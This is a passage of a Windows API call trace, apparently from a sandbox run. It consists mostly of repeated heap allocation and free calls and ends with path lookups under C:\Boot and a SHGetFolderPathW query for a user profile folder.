Size=0x20) returned 0x7a35e20 [0111.480] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.480] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.480] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.480] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.480] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.480] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.480] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.480] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.480] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.480] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.480] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.480] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.480] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.481] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.481] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.481] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.481] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.481] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.481] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.481] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.481] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.481] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.481] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.481] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.481] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.481] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.481] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.481] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.481] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.481] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.481] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.481] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.481] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.481] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.481] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.481] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.481] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.481] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.481] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.481] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.481] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.481] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.481] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.482] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.482] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.482] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.482] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.482] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.482] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.482] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.482] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.482] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.482] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.482] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.482] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.482] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.482] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.482] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.482] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.482] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.482] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.482] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.482] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.482] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.482] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.482] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.482] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.482] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.482] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.482] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.482] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.482] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.482] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.482] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.483] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0111.483] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.483] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.483] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.483] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.483] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.483] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.483] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.483] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.483] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.483] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.483] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.483] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.483] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.483] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.483] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.483] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.483] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.483] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.483] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.483] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.483] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.483] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.483] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.483] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.483] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.483] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.483] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.483] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.483] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.483] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.483] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.483] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.483] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.484] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.484] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.484] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.484] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.484] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.484] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.484] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.484] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.484] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.484] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.484] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.484] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.484] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.484] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.484] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.484] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.484] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.484] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.484] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.484] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.484] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.484] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.484] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.484] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.484] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.484] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.484] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.484] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.484] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.484] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.484] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.484] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.484] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.484] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.484] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.485] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.485] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.485] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.485] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.485] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.485] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.485] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.485] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.485] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.485] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.485] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.485] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.485] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.485] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0111.485] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.485] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.485] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.485] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.485] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.485] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.485] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.485] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.485] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.485] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.485] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.485] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.485] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.485] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.485] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.485] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.485] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.486] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.486] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.486] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.486] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.486] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.486] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.486] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.486] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.486] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.486] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.486] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.486] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.486] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.486] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.486] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.486] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.486] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.486] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.486] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.486] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.486] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.486] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.486] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.486] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.486] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.486] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.486] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.486] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.486] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.486] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.486] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.486] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.486] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.487] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.487] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.487] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.487] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.487] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.487] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.487] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.487] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.487] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.487] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.487] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.487] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.487] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.487] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.487] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.487] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.487] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.487] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0111.487] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.487] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.487] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.487] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.487] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.487] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.487] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.487] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.487] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.487] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.487] PathFindFileNameW (pszPath="C:\\Boot\\fr-FR\\") returned="fr-FR\\" [0111.487] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.488] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0111.488] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.488] PathFindFileNameW (pszPath="") returned="" [0111.488] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.488] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76190000 [0111.488] GetProcAddress (hModule=0x76190000, lpProcName="SHGetFolderPathW") returned 0x76215708 [0111.488] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x800) returned 0x7b13900 [0111.488] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x7b13900 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0111.488] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, 